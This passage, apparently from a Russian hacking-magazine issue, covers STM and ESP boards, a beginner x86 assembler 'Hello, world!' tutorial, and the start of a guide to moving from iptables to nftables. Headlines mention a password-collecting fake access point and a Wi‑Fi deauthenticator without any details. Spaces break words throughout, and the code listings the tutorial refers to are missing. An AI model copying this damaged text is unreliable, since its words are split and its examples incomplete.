любой кон трол лер STM.

Прогр  аммат  ор ST‐LINK
Сто ит такж  е упо мянуть пла ты STM Nucleo. Вот одна из них.

Плат  а STM32 Nucleo
Это что‐то вро де Arduino из мира STM. Сто ит дорого вато, как и ориг  инальн  ые
Arduino,  но  вещь  для  нович ка  отличная.  Если  день ги  есть,  сто ит  взять.  Здесь
же  сто ит  упо мянуть  «Амперку»  с  их  «Искрой»  и  набором  для  начина ющих.
Тоже впол не дост  ой ный выбор для перв  ого раза.

Пла та Iskra JS
Для  прогр  аммир  ова ния  мож но  вос поль зоватьс  я  сред  ами  Embedded  Work‐
bench,  uVision  и  TrueStudio.  Бла годар  я  работе  умельц  ев  для  этих  же  целей
мож но использ  овать и род ной для мног  их Arduino IDE. Есть так же онлай новый
IDE — mbed studio.

Цена
Пар тия из пяти плат с обвязкой и STM8 будет стои  ть око ло 4,5 дол ларов. Пла‐ 
та BluePill с STM32F103 сей час стои  т 1,6 дол лара. Плат  а NUCLEO‐F072RB —
16,4  дол лара.  Ссы лок  давать  не  буду  —  на  «Алиэ  ксп  рес се»  все  это  легк  о
ищет ся по запр  осу «stm32».

Статьи в «Хакере» об STM32 и проектах на его основе

• BearSSL  и  STM32.  Как  реали зовать  шифр  ование  для  самодельн  ого  гад‐ 
жета

• В  поис ках  случ  айн  ос ти.  Ищем  энтро пию  на  мик росхем  е,  чтоб  ы  повысить
стойк  ость шиф ров

• Мейк  ерс тво  на  мак симал ках.  Заводим  и  разг  оняе  м  опе ративн  ую  память
на STM32 и Arduino

• Без слежк  и и закл  адок. Как соб рать свой мобиль ник и почему это прощ  е,
чем кажет ся

• MP3‐пле ер  сво ими  руками.  Как  собр  ать  и  зап рограмм  ировать  гад жет
у себя дома

• ZetaSDR.  Собирае  м  прог рамм  но  опре деляе  мый  ради опри емник  свои  ми
руками

• Утин  ые  исто рии.  Делае  м  свой  анал  ог  Rubber  Ducky  с  бес пров  одн  ой
связью

• Со бирае  м GPS‐радар на базе STM32F3DISCOVERY и u‐blox Neo‐6M

ESP

ESP32
И,  наконец,  пара  слов  про  ESP.  С  этим  и  МК  я  не  работал  и  знаю  о  них  нем‐ 
ного.  Это  32‐бит ные  кам ни  с  модулем  Wi‐Fi  на  борт  у.  Они  исполь зуют  архи‐ 
тек туру  xtensa.  На  них  собира ют  умные  дома  и  проч  ие  инте ресн  ые  шту ки
(смот ри  врез ку  ниже).  Прог рамми ровать  мож но  опять  же  в  Arduino  IDE.  Зна‐ 
мени тая  ESP8266,  неод нократ но  упом  янут  ая  на  стран  ицах  «Хакера»,  как  раз
и  отно сит ся  к  это му  семейс  тву.  К  нему  же  отно сит ся  ESP32,  стар ший  брат
ESP8266.

Статьи в «Хакере» о ESP32 и ESP8266

ESP32
• JavaScript для умно го дома. Arduino уста рел, да здравст  вуе  т ESP32!
• Вая  ем снифф  ер на ESP32. Слуш  аем вайф  ай, при целив  аем ся на блют  ус!
• Взлам  ыва ем  ESP32  раз  и  навс  егда.  Извле чение  ключ  ей  флеш‐шиф‐ 

рования и безопасн  ой загр  узки

ESP8266
• Пры жок  в  обла ко.  Стро им  бюдж  етное  решение  для  интерне та  вещей

на NodeMCU + Azure IoT Hub
• Волк  в  овечь ей  шку ре.  Соз даем  подд  ельн  ую  точ ку  дос тупа

на ESP8266 для сбо ра паролей
• Га си вол ну! Выбира ем и нас траи  ваем аппар  ат ный деаутент  ификат  ор Wi‐Fi

на ESP8266

ВЫВОДЫ
Кро ме  упо мянут  ых  выше  про извод  ител  ей  есть  мног  о  друг  их:  Intel,  Renesas
Electronics,  Texas  Instruments  и  проч  ие.  Но  в  сооб щест  ве  элект  рон‐ 
щиков‐любите лей они не при жились, хоть и активно использ  уют ся в пром  ыш‐ 
ленност  и.

Но вичк  ам  я  рекоменд  ую  AVR  в  виде  Arduino:  по  нему  мног  о  информа ции
на русс  ком, а порог вхож дения невелик. Но засижив  ать ся на них не стои  т, а то
так и будешь до кон ца дней собирать и пересоб  ирать этот конс трукт  ор.

Пос ле  Arduino  сто ит  перейт  и  на  STM.  Для  прос тень ких  про ектов  бери
восьм  ибит ные чипы, для более слож ных — 32‐бит ные, и будет тебе счастье.
И  пом ни,  что  мик роконт  рол лер  —  это  уже  не  про цесс  ор,  но  еще  не  компь‐ 
ютер.

КОДИНГ

Антон Карев
Эксперт по информационной

безопасности. Область
профессиональных

интересов — технологическая
разведка, аналитика в сфере

ИБ и искусственный
интеллект

[email protected]

ПОГРУЖЕНИЕ В

ASSEMBLER
ДЕЛАЕМ ПЕРВЫЕ ШАГИ
В ОСВОЕНИИ АСМА

Ты  решил  осво ить  ассемб  лер,  но  не  зна ешь,  с  чего  начать
и  какие  инст  ру мент  ы  для  этог  о  нуж ны?  Сейч  ас  рас скаж  у
и покажу — на при мере прогр  аммы «Hello, world!». А попутн  о
объя  сню,  что  проц  ес сор  тво его  компью  те ра  делае  т  посл  е
того, как ты запуск  аешь прог рамму.

От редакции

В  2017  году  мы  опубл  иковал  и  пер вую  статью  из  пла ниро вав шегося  цикл  а
про ассемб  лер x86. Матери ал имел огромный успех, одна ко, к нашему стыд  у,
так и остался единс твен ным. Прошл  о два с половин  ой года, и теперь за дело
берет ся новый автор. В честь это го мы дела ем прошл  ую статью бес плат ной,
а  Анто на  Карева  попр  осили  проп  ус тить  вве дение  и  без  оглядки  нырять
в практ  ику.

ГОТОВИМСЯ К РАБОТЕ
Я буду исхо дить из того, что ты уже знак  ом с прог рамми рован  ием — знае  шь
какой‐нибудь  из  язык  ов  высоког  о  уровн  я  (С,  PHP,  Java,  JavaScript  и  тому
подоб ные), тебе доводил  ось в них работать с шест  над цатеричн  ыми чис лами,
плюс  ты  уме ешь  поль зовать ся  коман дной  стро кой  под  Windows,  Linux
или macOS.

Если наборы инструкций у процессоров разные, то на каком учить
ассемблер лучше всего?
Знае  шь, что такое 8088? Это дедуш ка всех компью  терн  ых про цесс  оров! При‐ 
чем  живой  дедуш ка.  Я  бы  даже  ска зал  —  бесс  мертный  и  бес смен ный.  Если
с тво его про цесс  ора, будь то Ryzen, Core i9 или еще какой‐то, отко лупать все
прим  очк  и,  налепл  енные  туда  под  влия  нием  техн  ологич  ес кого  прогр  есса,  то
оста нет ся стар  ый добр  ый 8088.

SGX‐анклав  ы,  MMX,  512‐бит ные  SIMD‐регис тры  и  друг  ие  нов шес тва  при‐ 
ходят  и  ухо дят.  Но  дедуш ка  8088  оста ется  неизм  енным.  Под ружись  снач  ала
с ним. Пос ле это го ты легк  о разб  ерешь ся с любой прим  очк  ой сво его про цес‐ 
сора.

Больш  е  того,  ког да  ты  на чина ешь  с  начала  —  то  есть  спер ва  выучи‐ 
ваешь класс  ическ  ий набор инс трукц  ий 8088 и толь ко потом пост  епенн  о зна‐ 
комишьс  я  с  совр  еменн  ыми  фичами,  —  ты  в  какой‐то  миг  начинае  шь  видеть
нест  андарт  ные спо собы прим  енен  ия этих самых фич. Смот ри, нап ример, что
я сдел  ал с SGX‐анкла вами и SIMD‐регист  ра ми.

Что и как процессор делает после того, как ты запускаешь
программу
Пос ле того как ты запус тил соф тину и ОС заг рузила ее в опе ратив ную память,
про цес сор нацелив  ает ся на перв  ый байт твое  й прог раммы. Вычл  еня ет оттуд  а
инст  рук цию  и  выпол няет  ее,  а  выпол нив,  переход  ит  к  след  ующей.  И  так
до конц  а прог раммы.

Нек  ото рые  инс трукц  ии  занимаю  т  один  байт  памяти,  дру гие  два,  три
или больш  е. Они выгл  ядят как‐то так:

90 
B0 77 
B8 AA 77 
C7 06 66 55 AA 77 

Верн  ее, даже так:

90 B0 77 B8 AA 77 C7 06 66 55 AA 77 

Хо тя  погоди!  Тольк  о  машина  может  понять  такое.  Поэтом  у  мно го  лет  назад
прогр  аммис ты  при дума ли  более  гуман ный  спос  об  общен  ия  с  компь ютер  ом:
соз дали ассем блер.

Благ  одар  я  ассем блер  у  ты  теперь  вмест  о  того,  что бы  тан цевать  с  бубн  ом
вок руг  шес тнад цатерич ных  чисел,  можешь  те  же  самые  инс трукц  ии  писать
в мне мони ке:

nop
mov al, 0x77
mov ax, 0x77AA
mov word [0x5566], 0x77AA

Согл  асись,  такое  читать  куда  легч  е.  Хотя,  с  дру гой  сто роны,  если  ты  видишь
ассемб  лер ный  код  вперв  ые,  такая  мнем  оник  а  для  тебя,  ско рее  всег  о,  тоже
непонят на. Но мы сейч  ас это исправ  им.

Регистры процессора: зачем они нужны, как ими пользоваться
Что  делае  т  инс трук ция  mov?  Прис ваивает  числ  о,  которое  указ  ано  справ  а,
перемен ной, которая ука зана слев  а.

Пе ременн  ая  —  это  либо  один  из  регис тров  про цес сора,  либо  ячей ка
в  опе ратив ной  памяти.  С  регист  рам  и  проц  есс  ор  работа ет  быст  рее,  чем
с  памятью,  потому  что  регист  ры  рас положе ны  у  него  внут ри.  Но  регис тров
у  про цес сора  мало,  так  что  в  любом  случ  ае  что‐то  при ходит ся  хран  ить
в памяти.

Когд  а прог рамми руешь на ассемб  ле ре, ты сам реша ешь, какие перемен‐ 
ные  хран  ить  в  памяти,  а  какие  в  регист  рах.  В  язы ках  высоко го  уровн  я  эту
задачу выпол няет комп  илятор.

У  про цес сора  8088  регис тры  16‐бит ные,  их  восемь  штук  (в  скоб ках  ука‐ 
заны типич ные спо собы при менен  ия регис тра):
• AX — общег  о назн  ачения (аккум  уля тор);
• BX — обще го наз начения (адрес);
• CX — обще го наз начения (счет чик);
• DX — обще го назн  ачения (рас ширяе  т AX до 32 бит);
• SI — общег  о наз начения (адрес источник  а);
• DI — обще го назн  ачения (адрес прие  мник  а);
• BP — указ  атель базы (обычн  о адре сует перемен ные, хра нимые на стек  е);
• SP — ука затель сте ка.

Нес мотря на то что у кажд  ого регист  ра есть типичн  ый спос  об при менен  ия, ты
можешь использ  овать их как заб лагорасс  удит ся. Четыре пер вых регис тра —
AX, BX, CX и DX — при желании можн  о исполь зовать не пол ностью, а половин‐ 
ками  по  8  бит  (старш  ая  H  и  млад шая  L): AH, BH,  CH,  DH  и  AL,  BL,  CL,  DL.  Нап‐ 
ример, если запишешь в AX числ  о 0x77AA (mov ax, 0x77AA), то в AH попадет
0x77, в AL — 0xAA.

С  теорией  пока  закон чили.  Давай  теперь  подг  отовим  рабочее  мес то
и  напишем  прог рамму  «Hello,  world!»,  что бы  понять,  как  эта  теория  работае  т
вжив  ую.

Готовим рабочее место
1. Скач  ай  ком пилятор  NASM  с  www.nasm.us.  Обра ти  вним  ание,  он  работае  т

на  всех  совр  еменн  ых  ОС:  Windows  10,  Linux,  macOS.  Расп  акуй  NASM
в  какую‐нибудь  папк  у.  Чем  ближ  е  папк  а  к  корн  ю,  тем  удоб ней.  У  меня
это c:\nasm (я работаю в Windows). Если у тебя Linux или macOS, можешь
созд  ать пап ку nasm в сво ей домаш ней директ  ории.
2. Те бе  надо  как‐то  редакт  ировать  исходный  код.  Ты  можешь  поль зоватьс  я
любым  тек сто вым  редакт  ором,  который  тебе  по  душе:  Emacs,  Vim,
Notepad,  Notepad++  —  сой дет  любой.  Лич но  мне  нра вит ся  редак тор,
встро енный в Far Manager, с плаг  ином Colorer.
3. Что бы  в  совр  емен ных  ОС  запуск  ать  прог раммы,  написанн  ые  для  8088,
и про верять, как они работа ют, тебе понадоб  ит ся DOSBox или VirtualBox.

ПИШЕМ, КОМПИЛИРУЕМ И ЗАПУСКАЕМ ПРОГРАММУ «HELLO,
WORLD!»
Сейч  ас  ты  напишешь  свою  пер вую  прог рамму  на  ассемб  ле ре.  Назови  ее
как хочешь (нап ример, first.asm) и ско пируй в пап ку, где устан  ов лен nasm.

Ес ли  тебе  непонят но,  что  тут  написа но,  —  не  пережив  ай.  Пока  прост  о  пос‐ 
тарай ся  при выкн  уть  к  ассемб  лер ному  коду,  пощупать  его  пальц  ами.  Чуть
ниже  я  все  объя  сню.  Плюс  студ  енч  еская  мудр  ость  гла сит:  «Тебе  что‐то
непонят но? Перечит  ай и перепиш  и нес коль ко раз. Снач  ала непонят ное ста‐ 
нет прив  ычн  ым, а затем при выч ное — понят ным».

Те перь  запус ти  команд  ную  стро ку,  в  Windows  это  cmd.exe.  Потом  зай ди
в пап ку nasm и ском пилируй прогр  амму, исполь зуя вот такую команд  у:

nasm ‐f bin first.asm ‐o first.com 

Есл  и  ты  все  сдел  ал  прав  иль но,  прог рамма  дол жна  скомп  илиров  ать ся
без  оши бок  и  в  коман дной  стро ке  не  появит ся  никаких  сооб щений.  NASM
прос то соз даст файл first.com и завер шится.

Что бы  запус тить  этот  файл  в  совр  емен ной  ОС,  открой  DOSBox  и  введ  и
туда вот такие три команд  ы:

mount c c:\nasm 
c: 
first 

Сам  о собой, вмес то c:\nasm тебе надо написать ту пап ку, куда ты ско пиро‐ 
вал  комп  илятор.  Если  ты  все  сде лал  пра вильн  о,  в  конс  оли  появит ся  сооб‐ 
щение «Hello, world!».

Инструкции, директивы
В  нашей  с  тобой  прогр  амме  есть  толь ко  три  вещи:  инст  рукц  ии,  директ  ивы
и мет ки.

Инст  рукц  ии. С инст  рук циями ты уже зна ком (мы их разб  ирали чуть выше)
и  знае  шь,  что  они  пред ставл  яют  собой  мне моник  у,  которую  комп  илятор
перево дит в машин ный код.

Дир  ект  ивы (в нашей прог рамме их две: org  и  db) — это расп  оряже ния,
которые  ты  даешь  комп  илято ру.  Кажд  ая  отдель но  взя тая  дирек тива  говорит
ком пилято ру,  что  на  эта пе  ассемб  лир  ова ния  нуж но  сде лать  такое‐то  дей‐ 
ствие. В машин ный код директ  ива не перево дит ся, но она влия  ет на то, каким
обра зом будет сге нери рован машинн  ый код.

Ди рект  ива  org  говорит  комп  илято ру,  что  все  инст  рукц  ии,  которые  пос‐ 
леду ют  даль ше,  надо  помещать  не  в  начале  сегм  ента  кода,  а  отступ  ив
от начала стольк  о‐то бай тов (в нашем случ  ае 0x0100).

Ди рек тива db сообщ  ает комп  илято ру, что в коде нуж но помест  ить цепоч ку
байт  ов. Здесь мы перечис ляем через запятую, что туда вста вить. Это может
быть либо стро ка (в кавыч ках), либо симв  ол (в апост  ро фах), либо прост  о чис‐ 
ло.

В нашем слу чае: db "Hello, world", '!', 0.
Об рати вним  ание, симв  ол вос клиц  атель ного зна ка я отрез  ал от осталь ной
стро ки  толь ко  для  того,  что бы  показать,  что  в  директ  иве  db мож но опер  иро‐ 
вать отдель ными симв  олами. А вооб ще писать луч ше так:

db "Hello, world!", 0

Метки, условные и безусловные переходы
Метк  и  использ  уют ся  для  двух  целей:  задавать  имен  а  переменн  ых,  которые
хран  ят ся  в  памяти  (такая  мет ка  в  нашей  прогр  амме  толь ко  одна:  string),
и  помечать  учас тки  в  коде,  куда  мож но  пры гать  из  друг  их  мест  прогр  аммы
(таких меток в нашей прог рамме три штук  и — те, которые начина ются с двух
симв  олов собаки).

Что  зна чит  «прыг  ать  из  дру гих  мест  прог раммы»?  В  норм  е  проц  есс  ор
выпол няет  инс трук ции  пос ледова тельн  о,  одну  за  дру гой.  Но  если  тебе  надо
орган  изо вать  вет вле ние  (усло вие  или  цикл),  ты  можешь  задейс  твов  ать  инс‐ 
трук цию  перехо да.  Пры гать  можн  о  как  впе ред  от  текущей  инс трук ции,  так
и назад.

У тебя в расп  оряжен  ии есть одна инс трук ция безус ловног  о перехо да (jmp)
и штук двадц  ать инс трукц  ий условног  о перехо да.

В  нашей  прогр  амме  задейс  твов  аны  две  инст  рук ции  перехо да:  je  и  jmp.
Пер вая выпол няет условный переход (Jump if Equal — прыг нуть, если равн  о),
вто рая (Jump) — безус ловный. С их помощью мы орга низов  али цикл.

Об рати  вни мание:  мет ки  начина ются  либо  с  букв  ы,  либо  со  зна ка  под‐ 
черки вания,  либо  со  знак  а  собаки.  Цифр  ы  вставл  ять  тоже  мож но,  но  тольк  о
не в начало. В кон це мет ки обя зательн  о став  ит ся дво еточ  ие.

Комментарии, алгоритм, выбор регистров
Итак, в нашей прог рамме есть тольк  о три вещи: инст  рук ции, дирек тивы и мет‐ 
ки.  Но  там  могл  а  бы  быть  и  еще  одна  важн  ая  вещь:  комм  ента рии.  С  ними
читать исходный код намн  ого про ще.

Как  добав лять  ком мента рии?  Прос то  пос тавь  точк  у  с  запятой,  и  все,  что
напишешь пос ле нее (до кон ца строк  и), будет ком мента рием. Давай добавим
комм  ентар  ии в нашу прог рамму.

Теп  ерь, ког да ты разоб рался во всех част  ях прогр  аммы по отдель ност  и, поп‐ 
робуй вник нуть, как все част  и служ  ат алгор  ит му, по котором  у работа ет наша
прог рамма.
1. По мест  ить в BX адрес стро ки.
2. По мест  ить в AL очер  едн  ую бук ву из стро ки.
3. Есл  и вмес то бук вы там 0, выходим из прог раммы — переход  им на 6‐й шаг.
4. Выв  одим букв  у на экран.
5. Повт  оря ем со вто рого шага.
6. Ко нец.

Обр  ати  вни мание,  мы  не  можем  использ  овать  AX  для  хран  ения  адрес  а,
потому что нет таких инст  рукц  ий, которые бы счит  ывал  и память, исполь зуя AX
в качест  ве регис тра‐источни ка.

ПОЛУЧАЕМ ДАННЫЕ С КЛАВИАТУРЫ
От  прог рамм,  которые  не  могут  взаи  мод  ейс  тво вать  с  польз  овате лем,  толк  у
мало. Так что смот ри, как можн  о счи тывать дан ные с кла виату ры. Сохр  ани вот
этот код как second.asm.

По том иди в команд  ную стро ку и скомп  илируй его в NASM:

nasm ‐f bin second.asm ‐o second.com 

Зат  ем запус ти скомп  илиров  анн  ую прогр  амму в DOSBox:

second 

Как  работа ет  прог рамма?  Две  стро ки  пос ле  мет ки  @@start  вызываю  т  фун‐ 
кцию BIOS, которая счи тыва ет сим волы с клав  иатур  ы. Она ждет, когд  а поль‐ 
зователь  нажм  ет  какую‐нибудь  кла вишу,  и  затем  кла дет  ASCII‐код  получен‐ 
ного  зна чения  в  регистр  AL.  Нап ример,  если  нажм  ешь  заг лавную  A,  в  AL
попадет 0x41, а если строчн  ую a — 0x61.

Дальш  е  смот рим:  если  нажата  клав  иша  с  кодом  0x1B  (кла виша  ESC),  то
выходим из прог раммы. Если же нажата не ESC, вызыва ем ту же фун кцию, что
и  в  пред  ыдущ  ей  прогр  амме,  что бы  показать  симв  ол  на  экра не.  Пос ле  того
как покажем — пры гаем в начало (jmp): start.

Обр  ати вни мание, инс трук ция cmp (от сло ва compare — срав нить) выпол‐ 
няет срав нение, инс трук ция je (Jump if Equal) — пры жок в конец прогр  аммы.

ПОЛЕЗНЫЕ МЕЛОЧИ: СМОТРИМ МАШИННЫЙ КОД,
АВТОМАТИЗИРУЕМ КОМПИЛЯЦИЮ
Ес ли тебе интер  есн  о, в какой машинн  ый код прео  бра зуют ся инст  рук ции прог‐ 
раммы, ском пилируй исходник вот таким вот образ  ом (добавь опцию ‐l):

nasm ‐f bin second.asm ‐l second.lst ‐o second.com 

Тог да NASM созд  аст не тольк  о исполняе  мый файл, но еще и лис тинг: second.
lst. Лис тинг будет выг лядеть как‐то так.

Еще  тебе  наверн  яка  уже  надое  ло  при  кажд  ом  ком пилиро вании  вко лачив  ать
в  команд  ную  стро ку  длин ную  посл  едоват  ель ность  одних  и  тех  же  букв.  Если
ты использ  уешь Windows, можешь соз дать бат ник (напр  имер, m.bat)  и  вста‐ 
вить в него вот такой текст.

Те перь ты можешь комп  илиро вать свою прогр  амму вот так:

m first 

Са мо собой, вмес то first ты можешь под ста вить любое имя фай ла.

ВЫВОДЫ
Итак, ты теперь зна ешь, как написать прост  ей шую прог рамму на ассем бле ре,
как  ее  ском пилиро вать,  какие  инст  рум  ен ты  для  это го  нужн  ы.  Конечн  о,  про‐ 
читав  одну  статью,  ты  не  стан  ешь  опыт ным  прогр  аммист  ом  на  ассемб  лер  е.
Что бы  при думать  и  написать  на  нем  что‐то  стоя  щее  —  врод  е  Floppy  Bird
и  «Микр  оБ»,  которые  написал  я,  —  тебе  предс  то ит  еще  мног  о  прой ти.
Но перв  ый шаг в эту сто рону ты уже сде лал.

АДМИН

NFTABLES

КАК ВЫГЛЯДИТ БУДУЩЕЕ
НАСТРОЙКИ ФАЙРВОЛА В LINUX

На чина ющие  адми ны  част  о  счи тают,  что Даниил Батурин
фай рвол в Linux называе  тся iptables. Более Координатор проекта VyOS
опыт ные  зна ют,  что  нынешн  яя  подс  исте ма (https://vyos.io), «языковед»,
ядра  для  филь тра ции  тра фика  и  модифи‐  функциональщик, иногда
кации  пакетов  называе  тся  NetFilter,
а  коман да  iptables  все го  лишь  утил  ита сетевой администратор
для  ее  наст  рой ки.  В  этой  статье  я  поз‐  [email protected]
накомл  ю  тебя  с  новым  инс трум  ент  ом,
который все чаще встре чает ся в совр  емен‐ 
ных дист  риб  утив  ах, — nftables.

INFO

Воз можно,  для  тебя  это  будет  новостью,  но  ipta‐
bles  вовс  е  не  уник  аль на,  есть  и  дру гие  утил  иты
подоб ного  рода.  Собс твенн  о,  наст  раи  вать  ей
можн  о  толь ко  прав  ила  для  пакетов
IPv4  на  сетевом  уровн  е.  Для  IPv6  понадоб  итс  я
ip6tables, для каналь ного уровн  я — ebtables

и arptables.

Нас тройк  а  сетевых  интерфей сов,  марш  рут  ов,  прос транств  имен  и  про чего
уже  давн  о  уни фици рован  а  в  ути лите  ip  из  пакета  iproute2,  а  зоопарк  стар  ых
утил  ит (ifconfig, vconfig, route и проч  ие) под держив  ает ся толь ко для совм  ести‐ 
мос ти  со  ста рыми  скрипт  ами.  Ждет  ли  такая  же  уни фика ция  меж сетевой
экран? До верс  ий ядра 2.4 Linux прош  ел через мно жес тво реализ  аций меж‐ 
сетевых  экра нов  в  ядре  и  ути лит  для  их  нас тройк  и  (ipfilter,  ipfwadm,  ipchains),
но NetFilter и iptables исполь зуют ся уже почт  и двадц  ать лет и кажут ся незыб‐ 
лемыми.

Как ни странн  о, перв  ые попыт ки перео  смыслить нас трой ку МСЭ пред при‐ 
нимал  ись еще в 2008 году. Про ект назв  али nftables, но он стал леген дарным
(в  узких  кру гах)  дол гост  рое  м.  В  2014  году  его  наконец  прин  яли  в  основную
вет ку  ядра  3.13,  но  поль зовательс  кие  ути литы  какое‐то  врем  я  оста вались
почт  и  неп ригодн  ыми  к  работе.  К  прим  еру,  счет чики  пакетов  для  пра вил  хра‐ 
нились  в  ядре,  но  прос мотреть  их  из  прост  ранст  ва  польз  овател  я  не  было
никакой возм  ожнос ти.

Сейч  ас  дело  наконец  меня ется  и  дис три бути вы  даже  начина ют  исполь‐ 
зовать  nftables  по  умол чанию.  Стор  онн  ие  инст  ру мен ты  врод  е  fail2ban  тоже
уже добавл  яют ее под дер жку.

Нес коль ко прич  ин рас статьс  я с iptables и перей ти на nftables:
• униф  ицир  ованн  ый синт  аксис;
• быст  рая заг рузка больш  их конф  игов;
• встро енная под держ  ка спис ков адре сов/пор тов;
• средс тва авто матич  ес кой кон вертац  ии прав  ил из iptables;
• вы вод прав  ил в JSON.

В  этой  статье  мы  перене сем  нас тройк  и  моего  VPS  с  iptables  на  nftables.
Исполь зовать  сра зу  оба  инс трум  ент  а  на  одной  машине  не  выйд  ет,  так  что
нуж но пла ниро вать одном  омен тную мигр  ацию.

До кумент  ацию можн  о найт  и в вик  и про екта.

ПРОБЛЕМЫ IPTABLES
Хо тя  NetFilter  впол не  хорошо  справл  ялся  со  сво ей  задачей,  его  нас тройк  а
через iptables неред ко ока зыва лась куда слож нее, чем могл  а бы быть.

К при меру, встро енный синт  аксис для групп адре сов и сетей в нем так и не
появил ся. Сущес тву ет отдель ный инс тру мент для этих целей — ipset, который
поз воляе  т соз дать групп  ы и ссыл  ать ся на них в прав  илах, вро де iptables ‐I
FORWARD ‐m set ‐‐match‐set TrustedHosts src ‐j ACCEPT.

Одн  ако  само  то,  что  групп  ы  наст  ра ивают ся  отдельн  о  от  прав  ил  и  с
помощью друг  ой ути литы, созд  ает мно го пробл  ем. Нужн  о помн  ить два раз ных
син такси са,  да  еще  и  убе дитьс  я,  что  нас тройк  и  ipset  при  заг рузке  прим  еня‐ 
ются раньш  е пра вил iptables, — это при том, что во мно гих дис триб  ути вах Lin‐
ux встро енно го сер виса для ipset так и нет.

Друг  ая  надо едли вая  пробл  ема  —  нельз  я  ука зать  нес кольк  о  разн  ых  дей‐ 
ствий в одном прав  иле.

Хо тя еще больш  е раз драж  ает отсутст  вие возм  ожнос ти использ  овать одни
прав  ила  для  IPv4  и  IPv6.  В  сов ременн  ом  мире  dual  stack  уже  стал  норм  ой
на серв  ерах, машин с одним IPv4 все мень ше, а машин с одним IPv6 нет и не
пред видит ся,  в  ито ге  адми ну  при ходит ся  дуб лировать  одни  и  те  же  пра вила
в двух раз ных кон фигах.

Кро ме того, в некото рых мест  ах син таксис опций iptables дос таточн  о хруп‐ 
кий.  Где‐то  мож но  ста вить  про бел  посл  е  запятой,  где‐то  нет.  Где‐то  можн  о
смел  о  поменять  две  опции  мес тами,  где‐то  это  вызовет  ошиб ку.  Если  пра‐ 
вила генерир  уют ся скрипт  ом, это особ  ен но усложняе  т тес тирован  ие.

Все это при водит к тому, что iptables част  о исполь зуют как свое  об разный
низк  оуров невый «язык ассемб  ле ра», который генери рует ся либо фронт  енда‐ 
ми  вро де  shorewall  или  firewalld,  либо  поль зовательс  ким  и  скрип тами.  А  цель
про екта  nftables  —  в  пер вую  очер  едь  сде лать  нас трой ку  пра вил  прост  ой
и удоб ной для человек  а. Давай посм  отрим, наск  ольк  о это уда лось.

АВТОМАТИЧЕСКАЯ ТРАНСЛЯЦИЯ
Авт  оры nftables опре деленн  о учли горьк  ий опыт мног  их дру гих больш  их миг‐ 
раций и написа ли инст  ру мен ты для авто мати ческ  ой тран сляц  ии прав  ил из ipt‐
ables. Можн  о кон вертир  овать как отдельн  ые команд  ы, так и файл  ы для ipta‐
bles‐restore.

К сожален  ию, воз можнос ти авто матич  еск  ой тран сляц  ии наст  ро ек ipset там
нет, в перв  ую очер  едь из‐за соверш  енно разн  ых подх  одов к нас тройк  е групп,
ну и из‐за малой популяр ности ipset.

От дельн  ые прав  ила тран сли руют ся с помощью утил  иты iptables‐trans‐
late, а наборы пра вил из iptables‐save — с помощью iptables‐restore‐
translate.  Это  толь ко  для  IPv4,  для  прав  ил  ip6tables  нуж но  использ  овать
ip6tables‐restore‐translate и далее по ана логии.

INFO

В Debian эти утил  иты находят ся в пакете iptables,
в Fedora — в пакете iptables‐nft.

Пос мотрим  на  тран сля цию  отдель ных  прав  ил.  Коман да  iptables‐
translate  —  самый  прос той  спо соб  изуч  ить  новый  син таксис  на  при мерах
(хотя и не заменит чте ния документ  ации!).

$ iptables‐translate ‐t nat ‐I POSTROUTING ‐s 10.0.0.0/24 ‐o eth0 ‐j 
MASQUERADE 
nft insert rule ip nat POSTROUTING oifname "eth0" ip saddr 
10.0.0.0/24 counter masquerade  

$ iptables‐translate ‐A INPUT ‐m state ‐‐state NEW ‐m tcp ‐p tcp 
‐‐dport 53   ‐j ACCEPT ‐m comment ‐‐comment "DNS zone transfer"
nft add rule ip filter INPUT ct state new  tcp dport 53 counter ac‐
cept comment "DNS zone transfer"

Как  видим,  стиль  син такси са  боль ше  похож  на  pf  и  дру гие  МСЭ  из  сист  ем
семейс  тва BSD.

Но!  Восп  ольз  овать ся  эти ми  коман дами  на  неподг  отовл  енной  сис теме
не  вый дет,  и  вот  почему:  в  nftables  боль ше  нет  пред  опр  еделенн  ых  таб лиц
и цепочек.

Хуки вместо цепочек
В  iptables  цепочк  и  INPUT  или  FORWARD  находят ся  в  табл  ице  filter  по  умол‐ 
чанию,  так  же  как  PREROUTING  и  POSTROUTING  в  таб лице  nat.  В  nftables
не сущес тву ет никаких табл  иц и цепочек по умолч  анию. Особ  ое знач  ение там
есть у типов таб лиц и хуков, а имен  а таб лиц и цепочек могут быть соверш  енно
про извольн  ыми.

В целом имен  а хуков пов торяю  т стар  ые имен  а спец  иаль ных цепочек, но в
ниж нем регис тре. Нап ример, input, output, forward. Ско ро мы уви дим их в дей‐ 
ствии.

ПЕРЕНОСИМ ПРАВИЛА
Для эко номии врем  ени мы не будем писать прав  ила с нуля, а вос поль зуемс  я
iptables‐restore‐translate и твор чески перера ботае  м ее вывод.

На  моем  VPS  сто ит  Fedora,  поэтом  у  все  команд  ы  и  расп  оложен  ие  кон‐ 
фигов  я  даю  именн  о  для  этог  о  дист  ри бутив  а.  Из  сер висов:  SSH,  веб,  почт  а,
DNS — типичн  ый набор.

Для начала вык лючим и остан  овим ста рые сер висы iptables.

$ sudo systemctl disable iptables 
$ sudo systemctl stop iptables 
$ sudo systemctl disable ip6tables 
$ sudo systemctl stop ip6tables 

Те перь пос мотрим на прав  ила (cat /etc/sysconfig/iptables).

*filter
:INPUT ACCEPT [0:0] 
:FORWARD ACCEPT [0:0] 
:OUTPUT ACCEPT [0:0] 

# Keep state
‐A INPUT ‐m state ‐‐state ESTABLISHED,RELATED ‐j ACCEPT

# SSH
‐A INPUT ‐m state ‐‐state NEW ‐m tcp ‐p tcp ‐‐dport 22 ‐j ACCEPT ‐m 
comment ‐‐comment "SSH"

# Email
‐A INPUT ‐m state ‐‐state NEW ‐m tcp ‐p tcp ‐‐dport 25   ‐j ACCEPT ‐m 
comment ‐‐comment "SMTP"
‐A INPUT ‐m state ‐‐state NEW ‐m tcp ‐p tcp ‐‐dport 465  ‐j ACCEPT ‐m 
comment ‐‐comment "SMTPS (SSL/TLS)"
‐A INPUT ‐m state ‐‐state NEW ‐m tcp ‐p tcp ‐‐dport 587  ‐j ACCEPT ‐m 
comment ‐‐comment "SMTP StartTLS"
‐A INPUT ‐m state ‐‐state NEW ‐m tcp ‐p tcp ‐‐dport 993  ‐j ACCEPT ‐m 
comment ‐‐comment "IMAPS"
‐A INPUT ‐m state ‐‐state NEW ‐m tcp ‐p tcp ‐‐dport 995  ‐j ACCEPT ‐m 
comment ‐‐comment "POP3S"

# DNS
